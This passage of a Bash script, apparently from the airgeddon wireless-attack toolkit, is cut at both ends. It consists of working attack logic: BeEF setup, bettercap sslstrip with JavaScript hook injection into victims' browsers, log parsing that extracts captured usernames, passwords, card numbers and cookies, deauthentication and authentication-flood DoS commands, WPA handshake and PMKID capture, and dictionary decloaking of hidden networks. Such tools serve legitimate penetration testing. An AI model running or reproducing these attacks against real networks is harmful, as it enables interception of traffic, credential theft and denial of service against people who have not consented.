	echo -e "            key: \"beef_key.pem\""
	echo -e "            cert: \"beef_cert.pem\""
	echo -e "        metasploit:"
	echo -e "            enable: false"
	echo -e "        social_engineering:"
	echo -e "            enable: true"
	echo -e "        evasion:"
	echo -e "            enable: false"
	echo -e "        console:"
	echo -e "            shell:"
	echo -e "                enable: false"
	echo -e "        ipec:"
	echo -e "            enable: true"
	echo -e "        dns:"
	echo -e "            enable: false"
	echo -e "        dns_rebinding:"
	echo -e "            enable: false"
	echo -e "        admin_ui:"
	echo -e "            enable: true"
	echo -e "            base_path: \"/ui\""
	} >> "${tmpdir}${beef_file}"
}

#Detects if your beef is Flexible Brainfuck interpreter instead of BeEF
function detect_fake_beef() {

	debug_print

	readarray -t BEEF_OUTPUT < <(timeout -s SIGTERM 0.5 beef -h 2> /dev/null)

	for item in "${BEEF_OUTPUT[@]}"; do
		if [[ ${item} =~ Brainfuck ]]; then
			fake_beef_found=1
			break
		fi
	done
}

#Search for beef path
function search_for_beef() {

	debug_print

	if [ "${beef_found}" -eq 0 ]; then
		for item in "${possible_beef_known_locations[@]}"; do
			if [ -f "${item}beef" ]; then
				beef_path="${item}"
				beef_found=1
				break
			fi
		done
	fi
}

#Prepare system to work with beef
function prepare_beef_start() {

	debug_print

	valid_possible_beef_path=0
	if [[ "${beef_found}" -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[17]}]} -eq 0 ]]; then
		language_strings "${language}" 405 "blue"
		ask_yesno 191 "yes"
		if [ "${yesno}" = "y" ]; then
			manual_beef_set
			search_for_beef
		fi

		if [[ "${beef_found}" -eq 1 ]] && [[ "${valid_possible_beef_path}" -eq 1 ]]; then
			fix_beef_executable "${manually_entered_beef_path}"
		fi

		if [ "${beef_found}" -eq 1 ]; then
			echo
			language_strings "${language}" 413 "yellow"
			language_strings "${language}" 115 "read"
		fi
	elif [[ "${beef_found}" -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[17]}]} -eq 0 ]]; then
		fix_beef_executable "${beef_path}"
		echo
		language_strings "${language}" 413 "yellow"
		language_strings "${language}" 115 "read"
	elif [[ "${beef_found}" -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[17]}]} -eq 1 ]]; then
		language_strings "${language}" 405 "blue"
		ask_yesno 415 "yes"
		if [ "${yesno}" = "y" ]; then
			manual_beef_set
			search_for_beef
			if [[ "${beef_found}" -eq 1 ]] && [[ "${valid_possible_beef_path}" -eq 1 ]]; then
				rewrite_script_with_custom_beef "set" "${manually_entered_beef_path}"
				echo
				language_strings "${language}" 413 "yellow"
				language_strings "${language}" 115 "read"
			fi
		fi
	fi
}

#Set beef path manually
function manual_beef_set() {

	debug_print

	while [[ "${valid_possible_beef_path}" != "1" ]]; do
		echo
		language_strings "${language}" 402 "green"
		echo -en '> '
		manually_entered_beef_path=$(read -re _manually_entered_beef_path; echo -n "${_manually_entered_beef_path}")
		manually_entered_beef_path=$(fix_autocomplete_chars "${manually_entered_beef_path}")
		if [ -n "${manually_entered_beef_path}" ]; then
			lastcharmanually_entered_beef_path=${manually_entered_beef_path: -1}
			if [ "${lastcharmanually_entered_beef_path}" != "/" ]; then
				manually_entered_beef_path="${manually_entered_beef_path}/"
			fi

			firstcharmanually_entered_beef_path=${manually_entered_beef_path:0:1}
			if [ "${firstcharmanually_entered_beef_path}" != "/" ]; then
				language_strings "${language}" 404 "red"
			else
				if [ -d "${manually_entered_beef_path}" ]; then
					if [ -f "${manually_entered_beef_path}beef" ]; then
						if head "${manually_entered_beef_path}beef" -n 1 2> /dev/null | grep ruby > /dev/null; then
							possible_beef_known_locations+=("${manually_entered_beef_path}")
							valid_possible_beef_path=1
						else
							language_strings "${language}" 406 "red"
						fi
					else
						language_strings "${language}" 406 "red"
					fi
				else
					language_strings "${language}" 403 "red"
				fi
			fi
		fi
	done
}

#Fix for not found beef executable
function fix_beef_executable() {

	debug_print

	rm -rf "/usr/bin/beef" > /dev/null 2>&1
	{
	echo -e "#!/usr/bin/env bash\n"
	echo -e "cd ${1}"
	echo -e "./beef"
	} >> "/usr/bin/beef"
	chmod +x "/usr/bin/beef" > /dev/null 2>&1
	optional_tools[${optional_tools_names[17]}]=1

	rewrite_script_with_custom_beef "set" "${1}"
}

#Rewrite airgeddon script in a polymorphic way adding custom beef location to array to get persistence
function rewrite_script_with_custom_beef() {

	debug_print

	case ${1} in
		"set")
			sed -ri "s:(\s+|\t+)([\"0-9a-zA-Z/\-_ ]+)?\s?(#Custom BeEF location \(set=)([01])(\)):\1\"${2}\" \31\5:" "${scriptfolder}${scriptname}" 2> /dev/null
		;;
		"search")
			beef_custom_path_line=$(grep "#[C]ustom BeEF location (set=1)" < "${scriptfolder}${scriptname}" 2> /dev/null)
			if [ -n "${beef_custom_path_line}" ]; then
				[[ ${beef_custom_path_line} =~ \"(.*)\" ]] && beef_custom_path="${BASH_REMATCH[1]}"
			fi
		;;
	esac
}

#Start beef process as a service
function start_beef_service() {

	debug_print

	if ! service "${optional_tools_names[17]}" restart > /dev/null 2>&1; then
		systemctl restart "${optional_tools_names[17]}.service" > /dev/null 2>&1
	fi
}

#Launch beef browser exploitation framework
#shellcheck disable=SC2164
function launch_beef() {

	debug_print

	if [ "${beef_found}" -eq 0 ]; then
		start_beef_service
	fi

	recalculate_windows_sizes
	if [ "${beef_found}" -eq 1 ]; then
		rm -rf "${beef_path}${beef_file}" > /dev/null 2>&1
		cp "${tmpdir}${beef_file}" "${beef_path}" > /dev/null 2>&1
		manage_output "+j -bg \"#000000\" -fg \"#00FF00\" -geometry ${g4_middleright_window} -T \"BeEF\"" "cd ${beef_path} && ./beef -c \"${beef_file}\"" "BeEF"
		if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
			cd "${beef_path}"
			get_tmux_process_id "./beef -c \"${beef_file}\""
			et_processes+=("${global_process_pid}")
			global_process_pid=""
		fi
	else
		manage_output "+j -bg \"#000000\" -fg \"#00FF00\" -geometry ${g4_middleright_window} -T \"BeEF\"" "${optional_tools_names[17]}" "BeEF"
		if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
			get_tmux_process_id "{optional_tools_names[18]}"
			et_processes+=("${global_process_pid}")
			global_process_pid=""
		fi
	fi

	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
		et_processes+=($!)
	fi

	sleep 2
}

#Launch bettercap sniffer
#shellcheck disable=SC2001
function launch_bettercap_sniffing() {

	debug_print

	local bettercap_window_title

	recalculate_windows_sizes
	case ${et_mode} in
		"et_sniffing_sslstrip2")
			sniffing_scr_window_position=${g3_bottomright_window}
			bettercap_window_title="Sniffer+Bettercap-Sslstrip2"
		;;
		"et_sniffing_sslstrip2_beef")
			sniffing_scr_window_position=${g4_bottomright_window}
			bettercap_window_title="Sniffer+Bettercap-Sslstrip2/BeEF"
		;;
	esac

	if compare_floats_greater_or_equal "${bettercap_version}" "${bettercap2_version}"; then
		set_bettercap_config

		bettercap_cmd="bettercap -iface ${interface} -no-history -caplet ${tmpdir}${bettercap_config_file}"

		if [ "${bettercap_log}" -eq 1 ]; then
			bettercap_cmd+=" | tee ${tmp_bettercaplog}"
		fi
	else
		if compare_floats_greater_or_equal "${bettercap_version}" "${minimum_bettercap_advanced_options}"; then
			bettercap_extra_cmd_options="--disable-parsers URL,HTTPS,DHCP --no-http-logs"
		fi

		if [ "${et_mode}" = "et_sniffing_sslstrip2" ]; then
			bettercap_cmd="bettercap -I ${interface} -X -S NONE --no-discovery --proxy --proxy-port ${bettercap_proxy_port} ${bettercap_extra_cmd_options} --dns-port ${bettercap_dns_port}"
		else
			bettercap_cmd="bettercap -I ${interface} -X -S NONE --no-discovery --proxy --proxy-port ${bettercap_proxy_port} ${bettercap_extra_cmd_options} --proxy-module injectjs --js-url \"http://${et_ip_router}:${beef_port}/${jshookfile}\" --dns-port ${bettercap_dns_port}"
		fi

		if [ "${bettercap_log}" -eq 1 ]; then
			bettercap_cmd+=" -O \"${tmp_bettercaplog}\""
		fi
	fi

	manage_output "+j -bg \"#000000\" -fg \"#FFFF00\" -geometry ${sniffing_scr_window_position} -T \"${bettercap_window_title}\"" "${bettercap_cmd}" "${bettercap_window_title}"
	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		local bettercap_cmd_clean_for_pid_finding
		bettercap_cmd_clean_for_pid_finding=$(echo "${bettercap_cmd}" | sed 's/ |.*//')
		get_tmux_process_id "${bettercap_cmd_clean_for_pid_finding}"
		et_processes+=("${global_process_pid}")
		global_process_pid=""
	else
		et_processes+=($!)
	fi
}

#Parse ettercap log searching for captured passwords
function parse_ettercap_log() {

	debug_print

	echo
	language_strings "${language}" 304 "blue"

	readarray -t CAPTUREDPASS < <(etterlog -L -p -i "${tmp_ettercaplog}.eci" 2> /dev/null | grep -E -i "USER:|PASS:")

	{
	echo ""
	date +%Y-%m-%d
	echo "${et_misc_texts[${language},8]}"
	echo ""
	echo "BSSID: ${bssid}"
	echo "${et_misc_texts[${language},1]}: ${channel}"
	echo "ESSID: ${essid}"
	echo ""
	echo "---------------"
	echo ""
	} >> "${tmpdir}parsed_file"

	pass_counter=0
	for cpass in "${CAPTUREDPASS[@]}"; do
		echo "${cpass}" >> "${tmpdir}parsed_file"
		pass_counter=$((pass_counter + 1))
	done

	add_contributing_footer_to_file "${tmpdir}parsed_file"

	if [ "${pass_counter}" -eq 0 ]; then
		language_strings "${language}" 305 "yellow"
	else
		language_strings "${language}" 306 "blue"
		cp "${tmpdir}parsed_file" "${ettercap_logpath}" > /dev/null 2>&1
	fi

	rm -rf "${tmpdir}parsed_file" > /dev/null 2>&1
	language_strings "${language}" 115 "read"
}

#Parse bettercap log searching for captured passwords
function parse_bettercap_log() {

	debug_print

	echo
	language_strings "${language}" 304 "blue"

	if compare_floats_greater_or_equal "${bettercap_version}" "${bettercap2_version}"; then
		sed -Ei 's/\x1b\[[0-9;]*m.+\x1b\[[0-9;]K//g' "${tmp_bettercaplog}" 2> /dev/null
		sed -Ei 's/\x1b\[[0-9;]*m|\x1b\[J|\x1b\[[0-9;]K|\x8|\xd//g' "${tmp_bettercaplog}" 2> /dev/null
		sed -Ei 's/.*»//g' "${tmp_bettercaplog}" 2> /dev/null
		sed -Ei 's/^[[:blank:]]*//g' "${tmp_bettercaplog}" 2> /dev/null
		sed -Ei '/^$/d' "${tmp_bettercaplog}" 2> /dev/null
	fi

	local regexp='USER|UNAME|PASS|CREDITCARD|COOKIE|PWD|USUARIO|CONTRASE|CORREO|MAIL|NET.SNIFF.HTTP.REQUEST.*POST|HTTP\].*POST'
	local regexp2='USER-AGENT|COOKIES|BEEFHOOK'
	readarray -t BETTERCAPLOG < <(cat < "${tmp_bettercaplog}" 2> /dev/null | grep -E -i "${regexp}" | grep -E -vi "${regexp2}")

	{
	echo ""
	date +%Y-%m-%d
	echo "${et_misc_texts[${language},8]}"
	echo ""
	echo "BSSID: ${bssid}"
	echo "${et_misc_texts[${language},1]}: ${channel}"
	echo "ESSID: ${essid}"
	echo ""
	echo "---------------"
	echo ""
	} >> "${tmpdir}parsed_file"

	pass_counter=0
	captured_cookies=()
	for cpass in "${BETTERCAPLOG[@]}"; do
		if [[ ${cpass^^} =~ ${regexp^^} ]]; then
			repeated_cookie=0
			for item in "${captured_cookies[@]}"; do
				if [ "${item}" = "${cpass}" ]; then
					repeated_cookie=1
					break
				fi
			done
			if [ "${repeated_cookie}" -eq 0 ]; then
				captured_cookies+=("${cpass}")
				echo "${cpass}" >> "${tmpdir}parsed_file"
				pass_counter=$((pass_counter + 1))
			fi
		else
			echo "${cpass}" >> "${tmpdir}parsed_file"
			pass_counter=$((pass_counter + 1))
		fi
	done

	add_contributing_footer_to_file "${tmpdir}parsed_file"

	if [ "${pass_counter}" -eq 0 ]; then
		language_strings "${language}" 305 "yellow"
	else
		language_strings "${language}" 399 "blue"
		cp "${tmpdir}parsed_file" "${bettercap_logpath}" > /dev/null 2>&1
	fi

	rm -rf "${tmpdir}parsed_file" > /dev/null 2>&1
	language_strings "${language}" 115 "read"
}

#Write on a file the id of the Evil Twin attack processes
function write_et_processes() {

	debug_print

	rm -rf "${tmpdir}${et_processesfile}" > /dev/null 2>&1

	for item in "${et_processes[@]}"; do
		echo "${item}" >> "${tmpdir}${et_processesfile}"
	done

	if [ "${dos_pursuit_mode}" -eq 1 ]; then
		for item in "${dos_pursuit_mode_pids[@]}"; do
			echo "${item}" >> "${tmpdir}${et_processesfile}"
		done
	fi
}

#Kill a given PID and all its subprocesses recursively
	function kill_pid_and_children_recursive() {

	debug_print

	local parent_pid=""
	local child_pids=""

	parent_pid="${1}"
	child_pids=$(pgrep -P "${parent_pid}" 2> /dev/null)

	for child_pid in ${child_pids}; do
		kill_pid_and_children_recursive "${child_pid}"
	done
	if [ -n "${child_pids}" ]; then
		pkill -P "${parent_pid}" &> /dev/null
	fi

	kill "${parent_pid}" &> /dev/null
	wait "${parent_pid}" 2> /dev/null
	}

#Kill the WPA3 downgrade attack processes
function kill_wpa3_downgrade_attack_processes() {

	debug_print

	kill "${hostapd_mana_pid}" &> /dev/null
	kill "${downgrade_dos_pid}" &> /dev/null

	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		kill_tmux_windows
	fi
}

#Kill the Evil Twin and Enterprise processes
function kill_et_windows() {

	debug_print

	if [ "${dos_pursuit_mode}" -eq 1 ]; then
		kill_dos_pursuit_mode_processes
	fi

	for item in "${et_processes[@]}"; do
		kill_pid_and_children_recursive "${item}"
	done

	if [ -n "${enterprise_mode}" ]; then
		kill "${enterprise_process_control_window}" &> /dev/null
	else
		kill "${et_process_control_window}" &> /dev/null
	fi

	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		kill_tmux_windows
	fi
}

#Kill DoS pursuit mode processes
function kill_dos_pursuit_mode_processes() {

	debug_print

	for item in "${dos_pursuit_mode_pids[@]}"; do
		kill_pid_and_children_recursive "${item}"
	done

	if ! stty sane > /dev/null 2>&1; then
		reset > /dev/null 2>&1
	fi
	dos_pursuit_mode_pids=()
	sleep 1
}

#Set current channel reading it from file
function recover_current_channel() {

	debug_print

	local recovered_channel
	recovered_channel=$(cat "${tmpdir}${channelfile}" 2> /dev/null)
	if [ -n "${recovered_channel}" ]; then
		channel="${recovered_channel}"
	fi
}

#Convert capture file to hashcat format
function convert_cap_to_hashcat_format() {

	debug_print

	rm -rf "${tmpdir}hctmp"* > /dev/null 2>&1
	if [ "${hccapx_needed}" -eq 0 ]; then
		echo "1" | timeout -s SIGTERM 3 aircrack-ng "${enteredpath}" -J "${tmpdir}${hashcat_tmp_simple_name_file}" -b "${bssid}" > /dev/null 2>&1
		return 0
	else
		if [ "${hcx_conversion_needed}" -eq 1 ]; then
			if hash hcxpcapngtool 2> /dev/null; then
				hcxpcapngtool -o "${tmpdir}${hashcat_tmp_file}" "${enteredpath}" > /dev/null 2>&1
				return 0
			else
				echo
				language_strings "${language}" 703 "red"
				language_strings "${language}" 115 "read"
				return 1
			fi
		else
			hccapx_converter_found=0
			if hash ${hccapx_tool} 2> /dev/null; then
				hccapx_converter_found=1
				hccapx_converter_path="${hccapx_tool}"
			else
				for item in "${possible_hccapx_converter_known_locations[@]}"; do
					if [ -f "${item}" ]; then
						hccapx_converter_found=1
						hccapx_converter_path="${item}"
						break
					fi
				done
			fi

			if [ "${hccapx_converter_found}" -eq 1 ]; then
				hashcat_tmp_file="${hashcat_tmp_simple_name_file}.hccapx"
				"${hccapx_converter_path}" "${enteredpath}" "${tmpdir}${hashcat_tmp_file}" > /dev/null 2>&1
				return 0
			else
				echo
				language_strings "${language}" 436 "red"
				language_strings "${language}" 115 "read"
				return 1
			fi
		fi
	fi
}

#Handshake/PMKID/Decloaking tools menu
function handshake_pmkid_decloaking_tools_menu() {

	debug_print

	clear
	language_strings "${language}" 120 "title"
	current_menu="handshake_pmkid_decloaking_tools_menu"
	initialize_menu_and_print_selections
	echo
	language_strings "${language}" 47 "green"
	print_simple_separator
	language_strings "${language}" 59
	language_strings "${language}" 48
	language_strings "${language}" 55
	language_strings "${language}" 56
	language_strings "${language}" 49
	language_strings "${language}" 124 "separator"
	language_strings "${language}" 663 pmkid_dependencies[@]
	language_strings "${language}" 121
	language_strings "${language}" 122 clean_handshake_dependencies[@]
	language_strings "${language}" 727 "separator"
	language_strings "${language}" 725
	language_strings "${language}" 726 mdk_attack_dependencies[@]
	print_hint

	read -rp "> " handshake_option
	case ${handshake_option} in
		0)
			return
		;;
		1)
			select_interface
		;;
		2)
			monitor_option "${interface}"
		;;
		3)
			managed_option "${interface}"
		;;
		4)
			explore_for_targets_option
		;;
		5)
			if contains_element "${handshake_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				get_hcxdumptool_version
				if compare_floats_greater_or_equal "${hcxdumptool_version}" "${minimum_hcxdumptool_bpf_version}"; then
					if hash tcpdump 2> /dev/null; then
						echo
						language_strings "${language}" 716 "yellow"
						capture_pmkid_handshake "pmkid"
					else
						echo
						language_strings "${language}" 715 "red"
						language_strings "${language}" 115 "read"
					fi
				else
					capture_pmkid_handshake "pmkid"
				fi
			fi
		;;
		6)
			capture_pmkid_handshake "handshake"
		;;
		7)
			if contains_element "${handshake_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				clean_handshake_file_option
			fi
		;;
		8)
			decloak_prequisites "deauth"
		;;
		9)
			if contains_element "${handshake_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				decloak_prequisites "dictionary"
			fi
		;;
		*)
			invalid_menu_option
		;;
	esac

	handshake_pmkid_decloaking_tools_menu
}

#Execute the cleaning of a Handshake file
function exec_clean_handshake_file() {

	debug_print

	echo
	if ! check_valid_file_to_clean "${filetoclean}"; then
		language_strings "${language}" 159 "yellow"
	else
		wpaclean "${filetoclean}" "${filetoclean}" > /dev/null 2>&1
		language_strings "${language}" 153 "yellow"
	fi
	language_strings "${language}" 115 "read"
}

#Validate and ask for the parameters used to clean a Handshake file
function clean_handshake_file_option() {

	debug_print

	echo
	readpath=0

	if [ -z "${enteredpath}" ]; then
		language_strings "${language}" 150 "blue"
		readpath=1
	else
		language_strings "${language}" 151 "blue"
		ask_yesno 152 "yes"
		if [ "${yesno}" = "y" ]; then
			filetoclean="${enteredpath}"
		else
			readpath=1
		fi
	fi

	if [ "${readpath}" -eq 1 ]; then
		validpath=1
		while [[ "${validpath}" != "0" ]]; do
			read_path "cleanhandshake"
		done
	fi

	exec_clean_handshake_file
}

#DoS attacks menu
function dos_attacks_menu() {

	debug_print

	clear
	language_strings "${language}" 102 "title"
	current_menu="dos_attacks_menu"
	initialize_menu_and_print_selections
	echo
	language_strings "${language}" 47 "green"
	print_simple_separator
	language_strings "${language}" 59
	language_strings "${language}" 48
	language_strings "${language}" 55
	language_strings "${language}" 56
	language_strings "${language}" 49
	language_strings "${language}" 50 "separator"
	language_strings "${language}" 51 mdk_attack_dependencies[@]
	language_strings "${language}" 52 aireplay_attack_dependencies[@]
	language_strings "${language}" 63 mdk_attack_dependencies[@]
	language_strings "${language}" 54 "separator"
	language_strings "${language}" 62 mdk_attack_dependencies[@]
	language_strings "${language}" 53 mdk_attack_dependencies[@]
	language_strings "${language}" 64 mdk_attack_dependencies[@]
	print_hint

	read -rp "> " dos_option
	case ${dos_option} in
		0)
			return
		;;
		1)
			select_interface
		;;
		2)
			monitor_option "${interface}"
		;;
		3)
			managed_option "${interface}"
		;;
		4)
			explore_for_targets_option
		;;
		5)
			if contains_element "${dos_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				mdk_deauth_option
			fi
		;;
		6)
			if contains_element "${dos_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				aireplay_deauth_option
			fi
		;;
		7)
			if contains_element "${dos_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				auth_dos_option
			fi
		;;
		8)
			if contains_element "${dos_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				beacon_flood_option
			fi
		;;
		9)
			if contains_element "${dos_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				wds_confusion_option
			fi
		;;
		10)
			if contains_element "${dos_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				michael_shutdown_option
			fi
		;;
		*)
			invalid_menu_option
		;;
	esac

	dos_attacks_menu
}

#Capture Handshake on Evil Twin attack
function capture_handshake_evil_twin() {

	debug_print

	if ! validate_network_encryption_type "WPA"; then
		return 1
	fi

	ask_timeout "capture_handshake_decloak"
	capture_handshake_window

	case ${et_dos_attack} in
		"${mdk_command}")
			rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1
			echo "${bssid}" > "${tmpdir}bl.txt"
			iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1
			recalculate_windows_sizes
			manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"${mdk_command} amok attack\"" "${mdk_command} ${interface} d -b ${tmpdir}bl.txt -c ${channel}" "${mdk_command} amok attack"
			if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
				get_tmux_process_id "${mdk_command} ${interface} d -b ${tmpdir}bl.txt -c ${channel}"
				processidattack="${global_process_pid}"
				global_process_pid=""
			fi
			sleeptimeattack=12
		;;
		"Aireplay")
			iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1
			recalculate_windows_sizes
			manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"aireplay deauth attack\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" "aireplay deauth attack"
			if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
				get_tmux_process_id "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}"
				processidattack="${global_process_pid}"
				global_process_pid=""
			fi
			sleeptimeattack=12
		;;
		"Auth DoS")
			iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1
			recalculate_windows_sizes
			manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"auth dos attack\"" "${mdk_command} ${interface} a -a ${bssid} -m" "auth dos attack"
			if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
				get_tmux_process_id "${mdk_command} ${interface} a -a ${bssid} -m"
				processidattack="${global_process_pid}"
				global_process_pid=""
			fi
			sleeptimeattack=16
		;;
	esac

	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
		processidattack=$!
		sleep "${sleeptimeattack}" && kill "${processidattack}" &> /dev/null
	else
		sleep "${sleeptimeattack}" && kill "${processidattack}" && kill_tmux_windows "Capturing Handshake" &> /dev/null
	fi

	handshake_capture_check

	check_bssid_in_captured_file "${tmpdir}${standardhandshake_filename}" "showing_msgs_capturing" "also_pmkid"
	case "$?" in
		"0")
			handshakepath="${default_save_path}"
			handshakefilename="handshake-${bssid}.cap"
			handshakepath="${handshakepath}${handshakefilename}"

			echo
			language_strings "${language}" 162 "yellow"
			validpath=1
			while [[ "${validpath}" != "0" ]]; do
				read_path "writeethandshake"
			done

			cp "${tmpdir}${standardhandshake_filename}" "${et_handshake}"
			echo
			language_strings "${language}" 324 "blue"
			language_strings "${language}" 115 "read"
			return 0
		;;
		"1")
			echo
			language_strings "${language}" 146 "red"
			language_strings "${language}" 115 "read"
			return 2
		;;
		"2")
			return 2
		;;
	esac
}

#Decloak ESSID by deauthentication or by dictionary on Handshake/PMKID/Decloak tools
function decloak_prequisites() {

	debug_print

	if [[ "${essid}" != "(Hidden Network)" ]] || [[ -z ${channel} ]]; then
		echo
		language_strings "${language}" 731 "red"
		language_strings "${language}" 115 "read"
		return 1
	fi

	if ! check_monitor_enabled "${interface}"; then
		echo
		language_strings "${language}" 14 "red"
		language_strings "${language}" 115 "read"
		return 1
	fi

	if ! check_6ghz_thirdparty_tools_compatibility; then
		return 1
	fi

	echo
	language_strings "${language}" 730 "yellow"
	language_strings "${language}" 115 "read"

	if [ "${1}" = "deauth" ]; then
		dos_handshake_decloaking_menu "decloak"
	else
		manage_asking_for_dictionary_file

		echo
		language_strings "${language}" 737 "blue"
		language_strings "${language}" 115 "read"

		exec_decloak_by_dictionary
	fi
}

#Execute mdk decloak by dictionary
function exec_decloak_by_dictionary() {

	debug_print

	iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1

	local unbuffer
	unbuffer=""
	if [ "${AIRGEDDON_MDK_VERSION}" = "mdk3" ]; then
		unbuffer="stdbuf -i0 -o0 -e0 "
	fi

	rm -rf "${tmpdir}decloak.log" > /dev/null 2>&1
	iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1
	recalculate_windows_sizes
	manage_output "+j -bg \"#000000\" -fg \"#FFFF00\" -geometry ${g1_topright_window} -T \"decloak by dictionary\"" "${unbuffer}${mdk_command} ${interface} p -t ${bssid} -f ${DICTIONARY} | tee ${tmpdir}decloak.log ${colorize}" "decloak by dictionary" "active"
	wait_for_process "${mdk_command} ${interface} p -t ${bssid} -f ${DICTIONARY}" "decloak by dictionary"

	if check_essid_in_mdk_decloak_log; then
		echo
		language_strings "${language}" 162 "yellow"
		echo
		language_strings "${language}" 736 "blue"
		language_strings "${language}" 115 "read"
	else
		echo
		language_strings "${language}" 738 "red"
		language_strings "${language}" 115 "read"
	fi
}

#Capture Handshake on Handshake/PMKID tools
function capture_pmkid_handshake() {

	debug_print

	if [[ -z ${bssid} ]] || [[ -z ${essid} ]] || [[ -z ${channel} ]] || [[ "${essid}" = "(Hidden Network)" ]]; then
		echo
		language_strings "${language}" 125 "yellow"
		language_strings "${language}" 115 "read"
		if ! explore_for_targets_option "WPA"; then
			return 1
		fi
	fi

	if ! check_monitor_enabled "${interface}"; then
		echo
		language_strings "${language}" 14 "red"
		language_strings "${language}" 115 "read"
		return 1
	fi

	if ! check_target_band_supported_by_interface "main_wifi_interface"; then
		return 1
	fi

	if [ "${1}" = "handshake" ]; then
		if ! check_6ghz_thirdparty_tools_compatibility; then
			return 1
		fi
	fi

	if ! validate_network_encryption_type "WPA"; then
		return 1
	fi

	if ! validate_network_type "personal"; then
		return 1
	fi

	echo
	language_strings "${language}" 126 "yellow"
	language_strings "${language}" 115 "read"

	if [ "${1}" = "handshake" ]; then
		dos_handshake_decloaking_menu "${1}"
	else
		launch_pmkid_capture
	fi
}

#Check if file exists
function check_file_exists() {

	debug_print

	if [[ ! -f $(readlink -f "${1}") ]] || [[ -z "${1}" ]]; then
		language_strings "${language}" 161 "red"
		return 1
	fi
	return 0
}

#Validate path
function validate_path() {

	debug_print

	lastcharmanualpath=${1: -1}

	if [[ "${2}" = "enterprisepot" ]] || [[ "${2}" = "certificates" ]]; then
		dirname=$(dirname "${1}")

		if [ -d "${dirname}" ]; then
			if ! check_write_permissions "${dirname}"; then
				language_strings "${language}" 157 "red"
				return 1
			fi
		else
			if ! dir_permission_check "${1}"; then
				language_strings "${language}" 526 "red"
				return 1
			fi
		fi

		if [ "${lastcharmanualpath}" != "/" ]; then
			pathname="${1}/"
		fi
	else
		dirname=${1%/*}

		if [[ ! -d "${dirname}" ]] || [[ "${dirname}" = "." ]]; then
			language_strings "${language}" 156 "red"
			return 1
		fi

		if ! check_write_permissions "${dirname}"; then
			language_strings "${language}" 157 "red"
			return 1
		fi
	fi

	if [[ "${lastcharmanualpath}" = "/" ]] || [[ -d "${1}" ]] || [[ "${2}" = "enterprisepot" ]] || [[ "${2}" = "certificates" ]]; then
		if [ "${lastcharmanualpath}" != "/" ]; then
			pathname="${1}/"
		else
			pathname="${1}"
		fi

		case ${2} in
			"downgradepot")
				suggested_filename="${downgradepot_filename}"
				downgradepotenteredpath+="${downgradepot_filename}"
			;;
			"wpa3pot")
				suggested_filename="${wpa3pot_filename}"
				wpa3potenteredpath+="${wpa3pot_filename}"
			;;
			"handshake")
				enteredpath="${pathname}${standardhandshake_filename}"
				suggested_filename="${standardhandshake_filename}"
			;;
			"pmkid")
				enteredpath="${pathname}${standardpmkid_filename}"
				suggested_filename="${standardpmkid_filename}"
			;;
			"pmkidcap")
				enteredpath="${pathname}${standardpmkidcap_filename}"
				suggested_filename="${standardpmkidcap_filename}"
			;;
			"aircrackpot")
				suggested_filename="${aircrackpot_filename}"
				aircrackpotenteredpath+="${aircrackpot_filename}"
			;;
			"jtrpot")
				suggested_filename="${jtrpot_filename}"
				jtrpotenteredpath+="${jtrpot_filename}"
			;;
			"hashcatpot")
				suggested_filename="${hashcatpot_filename}"
				potenteredpath+="${hashcatpot_filename}"
			;;
			"asleappot")
				suggested_filename="${asleappot_filename}"
				asleapenteredpath+="${asleappot_filename}"
			;;
			"ettercaplog")
				suggested_filename="${default_ettercaplogfilename}"
				ettercap_logpath="${ettercap_logpath}${default_ettercaplogfilename}"
			;;
			"bettercaplog")
				suggested_filename="${default_bettercaplogfilename}"
				bettercap_logpath="${bettercap_logpath}${default_bettercaplogfilename}"
			;;
			"writeethandshake")
				et_handshake="${pathname}${standardhandshake_filename}"
				suggested_filename="${standardhandshake_filename}"
			;;
			"et_captive_portallog")
				suggested_filename="${default_et_captive_portallogfilename}"
				et_captive_portal_logpath+="${default_et_captive_portallogfilename}"
			;;
			"wpspot")
				suggested_filename="${wpspot_filename}"
				wpspotenteredpath+="${wpspot_filename}"
			;;
			"weppot")
				suggested_filename="${weppot_filename}"
				weppotenteredpath+="${weppot_filename}"
			;;
			"enterprisepot")
				enterprise_potpath="${pathname}"
				enterprise_basepath=$(dirname "${enterprise_potpath}")

				if [ "${enterprise_basepath}" != "." ]; then
					enterprise_dirname=$(basename "${enterprise_potpath}")
				fi

				if [ "${enterprise_basepath}" != "/" ]; then
					enterprise_basepath+="/"
				fi

